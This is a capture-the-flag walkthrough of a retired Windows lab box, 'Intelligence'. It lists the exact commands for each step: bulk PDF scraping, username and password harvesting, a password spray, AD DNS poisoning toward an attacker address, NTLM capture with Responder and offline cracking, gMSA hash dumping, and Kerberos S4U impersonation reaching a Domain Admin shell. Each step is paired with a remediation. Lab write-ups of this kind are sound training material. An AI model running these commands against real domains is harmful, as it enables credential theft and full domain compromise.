← all walkthroughs

Intelligence

Windows· Medium
owned
2026-07-11
time to own
15m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I identified a date-predictable IIS document store and silently bulk-downloaded over eighty internal PDF files from the corporate web server without authentication. Extracting PDF Creator metadata exposed 130 domain account names; reading the PDF body text revealed a default onboarding password still in circulation. A single-password spray authenticated as Tiffany.Molina, yielding SMB access and the user flag.

An IT file share held a PowerShell scheduled task that periodically queried Active Directory DNS for every hostname beginning with 'web' and made authenticated HTTP requests — using Windows pass-through NTLM credentials — to each one. Because any authenticated domain user may write records into AD-Integrated DNS, I registered a malicious A record pointing to their own VPN address. When the scheduled task fired, it delivered Ted.Graves's NetNTLMv2 challenge-response to my own Responder listener; offline cracking against rockyou recovered the password [REDACTED: recovered credential].

BloodHound graphed an unbroken privilege chain: Ted.Graves belonged to ITSUPPORT, which held ReadGMSAPassword over the service account svc_int$, which held AllowedToDelegate (constrained Kerberos delegation) to the Domain Controller. Dumping the group-managed service account password hash and invoking the Kerberos S4U2Proxy extension produced an Administrator-impersonating service ticket; wmiexec executed commands as Domain Admin — full environment compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationUnauthenticated sensitive-document enumeration via predictable URL scheme
Discovered an unauthenticated IIS document store with date-predictable filenames
The corporate IIS site at http://intelligence.htb embedded a reference to /documents/2020-01-01-upload.pdf in its HTML source. Although the /documents/ directory listing returned HTTP 403, the deterministic YYYY-MM-DD-upload.pdf naming scheme meant that any date within the publishing window resolved to a real file. A Python date-loop iterated every calendar day from January 2020 through December 2021 and downloaded all reachable PDFs — 84 files — without supplying any credentials.
Curl of the page source exposed 'documents/2020-01-01-upload.pdf'; the Python loop logged successful downloads across the full date range.
Exact commands 2
Register domain and DC hostname for local resolution.
echo "$TARGET intelligence.htb dc.intelligence.htb" | sudo tee -a /etc/hosts
Bulk-download every published PDF; adjust end date if the scheme extends beyond 2021.
mkdir -p /tmp/intel_pdfs && python3 - <<'PY'
import requests, datetime
base = 'http://intelligence.htb/documents/'
d = datetime.date(2020, 1, 1); end = datetime.date(2021, 12, 31)
while d <= end:
    url = base + d.strftime('%Y-%m-%d') + '-upload.pdf'
    r = requests.get(url, timeout=10)
    if r.status_code == 200:
        open(f'/tmp/intel_pdfs/{d}.pdf', 'wb').write(r.content)
        print(d, len(r.content))
    d += datetime.timedelta(days=1)
PY
FixRestrict the document repository to authenticated employees onlyHigh
WeaknessThe /documents/ path on the IIS server returned individual PDF files to any anonymous internet visitor. The date-based naming scheme (YYYY-MM-DD-upload.pdf) made the complete archive enumerable without any directory listing.
FixMove the document store behind Windows Integrated Authentication or a web-application login gate so that only authorised employees can retrieve files. Rename all existing files to cryptographically random identifiers (remove the date pattern) and disable directory browsing on the IIS site globally (set directoryBrowse enabled="false" in web.config). Consider placing the share on an intranet-only segment rather than the public-facing server.
2EnumerationUsername and credential harvesting from document metadata and content (T1552.001)
Extracted 130 domain usernames from PDF metadata and a default password from document body text
Every harvested PDF carried the authoring employee's domain account name in its Creator metadata field. Iterating exiftool across all 84 files produced 130 unique usernames that constituted a near-complete domain user list. Separately, a pdftotext pass across the same corpus found at least one document whose body text stated the default password issued to all new hires: [REDACTED: recovered credential]. Together these assets enabled a precision credential spray.
Exiftool -Creator loop produced 130 entries written to users.txt (confirmed by kill-chain output showing '130 users.txt'); pdftotext surfaced the default-password string.
Exact commands 2
Extract unique Creator values; should yield ~130 lines.
for f in /tmp/intel_pdfs/*.pdf; do exiftool -Creator "$f" 2>/dev/null; done | awk -F': ' '{print $2}' | sort -u | grep -v '^$' > /tmp/users.txt && wc -l /tmp/users.txt
Scan all PDF text for credential hints; look for the default-password announcement.
for f in /tmp/intel_pdfs/*.pdf; do pdftotext "$f" - 2>/dev/null; done | grep -i 'password\|default\|new.*user'
FixRemove credentials and usernames from internal documents before publicationCritical
WeaknessAt least one published PDF contained the organisation's default onboarding password in plain text, and every PDF leaked real employee Active Directory account names in its Creator metadata field — together providing a ready-made user list and matching password for a spray attack.
FixEstablish and enforce a written policy that credentials — even temporary defaults — are never recorded in any document or email. Strip all Author/Creator metadata before publishing files (exiftool -all= or a DLP gateway). Implement a Data Loss Prevention rule at the email and file-share layer that blocks documents containing patterns matching password fields. Audit existing document stores for similar disclosures and rotate any credentials found.
3Initial AccessDefault credential password spray (T1110.003)
Password spray with the default credential authenticated as Tiffany.Molina; user flag retrieved
Spraying the single default password against all 130 harvested usernames over SMB produced one hit: Tiffany.Molina had never rotated the credential assigned at account creation. Authenticated access to the Users SMB share allowed direct retrieval of the user flag from her desktop.
Nxc returned '[+] intelligence.htb\Tiffany.Molina:[REDACTED: recovered credential]'; smbclient retrieved user.txt — confirmed flag in kill-chain.
Exact commands 2
Single-password spray; --continue-on-success surfaces every valid account, not just the first.
nxc smb $TARGET -d intelligence.htb -u /tmp/users.txt -p "$PASSWORD" --continue-on-success 2>&1 | grep '\[+\]'
Retrieve user flag; value is <user.txt>.
smbclient "//$TARGET/Users" -U "intelligence.htb/Tiffany.Molina%$PASSWORD" -c 'get Tiffany.Molina/Desktop/user.txt /tmp/user.txt' >/dev/null && cat /tmp/user.txt
FixRequire password change on first login and block default credential stringsCritical
WeaknessDomain account Tiffany.Molina (and potentially many others from the 130-user list) was still authenticating with the well-known default password issued at account creation, making a single-password spray immediately successful.
FixSet 'User must change password at next logon' on every newly provisioned account and enforce it via a GPO that also sets Minimum Password Age = 0 so the forced change is not blocked. Deploy Microsoft Entra Password Protection (on-premises agent) or an equivalent third-party solution to reject organisation-specific terms and known-breached passwords at the domain level. Configure alerts in your SIEM for authentication with the default-password string.
4Lateral Movement — SetupAD-Integrated DNS abuse to enable NTLM credential interception (T1557)
Found a credential-forwarding scheduled task in the IT share and poisoned Active Directory DNS
Tiffany.Molina had read access to an IT file share containing downdetector.ps1. The script runs on a recurring timer, enumerates all Active Directory DNS records whose name begins with 'web', and issues an HTTP request to each URL using -UseDefaultCredentials — meaning it transparently authenticates with the running account's NTLM credentials to whatever host DNS resolves. Since any authenticated domain user may create records in AD-Integrated DNS, I added a forged A record 'web1.intelligence.htb' pointing to their VPN interface ($ATTACKER_IP), priming the next task execution to deliver real credentials to my own listener.
Exact commands 3
Download and read the script to confirm -UseDefaultCredentials and the 'web*' hostname pattern.
smbclient "//$TARGET/IT" -U "intelligence.htb/Tiffany.Molina%$PASSWORD" -c 'get downdetector.ps1 /tmp/downdetector.ps1' >/dev/null && cat /tmp/downdetector.ps1
Add the malicious A record; replace $ATTACKER_IP with your current tun0 address.
python3 /opt/krbrelayx/dnstool.py -u 'intelligence\Tiffany.Molina' -p "$PASSWORD" -dc-ip $TARGET -a add -r web1 -d $ATTACKER_IP -t A dc.intelligence.htb
Verify the record resolves before starting Responder.
dig +tcp @$TARGET web1.intelligence.htb A +short
FixRemove the authenticated-users AD-Integrated DNS write permissionHigh
WeaknessWindows grants all authenticated domain users the ability to create new records in the AD-Integrated DNS zone by default. A low-privilege account used this to register a rogue hostname that redirected a trusted scheduled task's outbound connections to an externally controlled server.
FixRemove the 'Authenticated Users: Create all child objects' ACE from the DomainDnsZones and ForestDnsZones partition objects using ADSI Edit or Set-AclOnActiveDirectoryObject. Only a dedicated DNS-Admins group (tightly controlled) should be permitted to add zone records. Enable DNS server audit logging (Microsoft-Windows-DNS-Server/Audit event channel) and alert on new record creation by non-admin accounts. Periodically export and diff the zone for unexpected entries.
5Lateral Movement — Credential CaptureNTLM credential capture via rogue service (T1557.001) and offline hash cracking (T1110.002)
Captured Ted.Graves's NetNTLMv2 hash via Responder and cracked it offline to [REDACTED: recovered credential]
With Responder listening on my VPN interface and the poisoned DNS record in place, the scheduled task's next execution caused Ted.Graves's workstation to perform NTLM authentication against my fake web server. Responder logged the full NetNTLMv2 challenge-response exchange. Cracking with John the Ripper against the rockyou wordlist recovered the cleartext password [REDACTED: recovered credential].
Exact commands 3
Run Responder in the foreground; wait up to 5 minutes for the scheduled task to fire.
sudo responder -I tun0 -dwv
Crack the captured hash; adjust the filename to match what Responder wrote — check /usr/share/responder/logs/.
john --wordlist=/usr/share/wordlists/rockyou.txt /usr/share/responder/logs/SMB-NTLMv2-SSP-$TARGET.txt
Confirm the cracked password authenticates before proceeding.
nxc smb $TARGET -u Ted.Graves -p '$PASSWORD2' -d intelligence.htb
FixEliminate NTLM credential forwarding in outbound scheduled-task web requestsHigh
WeaknessThe downdetector.ps1 scheduled task used PowerShell's -UseDefaultCredentials flag, which transparently hands the running account's NTLM credentials to any host name DNS resolves to — including hostnames an unauthorised user controlled by writing a single DNS record.
FixReplace -UseDefaultCredentials with unauthenticated health-check polling (a plain HTTP 200 check requires no credentials). If authentication is genuinely required, use short-lived API tokens or certificate mutual-TLS rather than NTLM pass-through. Restrict outbound NTLM at the Windows Firewall or via 'Network Security: Restrict NTLM: Outgoing NTLM traffic to remote servers' GPO setting. Pin target hostnames to static IP addresses rather than trusting DNS where possible.
6Privilege Escalation — DiscoveryActive Directory ACL privilege path analysis (T1069.002)
Mapped an unbroken three-hop Active Directory privilege path from Ted.Graves to Domain Admin
BloodHound ingested the full domain and rendered a clear attack path: Ted.Graves is a member of the ITSUPPORT group, which holds the ReadGMSAPassword extended right on the service account svc_int$. That account has AllowedToDelegate set for the SPN WWW/dc.intelligence.htb, meaning it can request Kerberos service tickets on behalf of any domain principal — including the built-in Administrator — without that principal's involvement.
BloodHound graph confirmed ITSUPPORT → ReadGMSAPassword(svc_int$) → AllowedToDelegate(WWW/dc.intelligence.htb) per walkthrough; consistent with gMSA and delegation abuse in subsequent step.
Exact commands 1
Collect all domain objects; import the zip into the BloodHound UI and search for shortest paths to Domain Admins from Ted.Graves.
bloodhound-python -c All -u Ted.Graves -p '$PASSWORD2' -d intelligence.htb -ns $TARGET --zip
FixRemove the ReadGMSAPassword ACE and scope constrained delegation to the minimum requiredCritical
WeaknessA three-hop Active Directory privilege chain let anyone who authenticated as Ted.Graves become Domain Admin: ITSUPPORT held ReadGMSAPassword on svc_int$, and svc_int$ held AllowedToDelegate to the Domain Controller — enabling Kerberos S4U impersonation of the built-in Administrator with no further obstacles.
FixImmediately revoke the ReadGMSAPassword ACE from the ITSUPPORT group (use Set-ADServiceAccount or ADSI Edit on the msDS-GroupMSAMembership attribute). If svc_int$ must retain delegation at all, convert it to resource-based constrained delegation scoped only to the specific service it serves. Enrol tier-0 service accounts and the Administrator account in the Protected Users security group, which disables NTLM and prevents delegation abuse. Run BloodHound quarterly and treat any shortest-path to Domain Admins shorter than three hops as a critical finding. Rotate the gMSA password immediately.
7Privilege Escalation — Full ControlgMSA credential dump (T1555) and Kerberos constrained delegation S4U impersonation (T1558)
Dumped the gMSA password hash and forged an Administrator Kerberos ticket via S4U delegation
Ted.Graves's membership in ITSUPPORT entitled him to read the msDS-ManagedPassword LDAP attribute on svc_int$. GMSADumper retrieved this value and derived the account's current NT hash from LDAP — no shell access to any server was needed. With the hash in hand, impacket's getST performed the two-step Kerberos extension: S4U2Self requested a ticket for the Administrator impersonating svc_int$, then S4U2Proxy extended it to the target SPN WWW/dc.intelligence.htb. The resulting cached credential gave wmiexec a Domain Admin shell on the Domain Controller from which root.txt was read.
GMSADumper returned svc_int$ NT hash from LDAP; getST produced Administrator.ccache; wmiexec -k delivered Domain Admin execution on dc.intelligence.htb; root.txt retrieved.
Exact commands 5
Synchronise clock to the DC — Kerberos rejects tickets with more than 5 minutes of clock skew.
sudo ntpdate $TARGET
Dumps svc_int$ NT hash from the msDS-ManagedPassword LDAP attribute. Record the hash in :NTHASH format.
python3 /opt/gMSADumper/gMSADumper.py -u Ted.Graves -p '$PASSWORD2' -d intelligence.htb -l $TARGET
S4U2Self + S4U2Proxy; replace <svc_int_nthash> with the dumped hash. Produces Administrator.ccache in the current directory.
impacket-getST -spn 'WWW/dc.intelligence.htb' -impersonate Administrator -hashes ':<svc_int_nthash>' 'intelligence.htb/svc_int$'
Interactive Domain Admin shell using the forged ticket.
KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass dc.intelligence.htb
Read the root flag directly; value is <root.txt>.
KRB5CCNAME=Administrator.ccache impacket-wmiexec -k -no-pass dc.intelligence.htb 'type C:\Users\Administrator\Desktop\root.txt'

Attack patterns used

The transferable techniques behind this compromise.

gMSA Password ReadActive Directory · Credential AccessT1555

What it is

Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If an unauthorised user controls (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.

Why it works

gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.

Read more

Kerberos Delegation Abuse (S4U / RBCD)Active Directory · KerberosT1558

What it is

Kerberos delegation lets a service impersonate users to other services. Misconfigured constrained delegation (S4U2Self + S4U2Proxy) or resource-based constrained delegation (RBCD) can be abused: controlling a delegating account (or an account with write access to a target's msDS-AllowedToActOnBehalfOfOtherIdentity) lets an unauthorised user forge a service ticket as an arbitrary user (e.g. Administrator) to the target service.

Why it works

Delegation is powerful and easy to over-grant; combined with an 'altservice' SPN trick an unauthorised user can pivot the delegation to high-value services like CIFS/HOST on a DC. Remediate by minimizing delegation, marking sensitive accounts 'not delegatable', and adding them to Protected Users.

Read more

Exposed services

53/tcp
80/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
3268/tcp
3269/tcp
9389/tcp
49666/tcp
49691/tcp
49692/tcp
49708/tcp
49714/tcp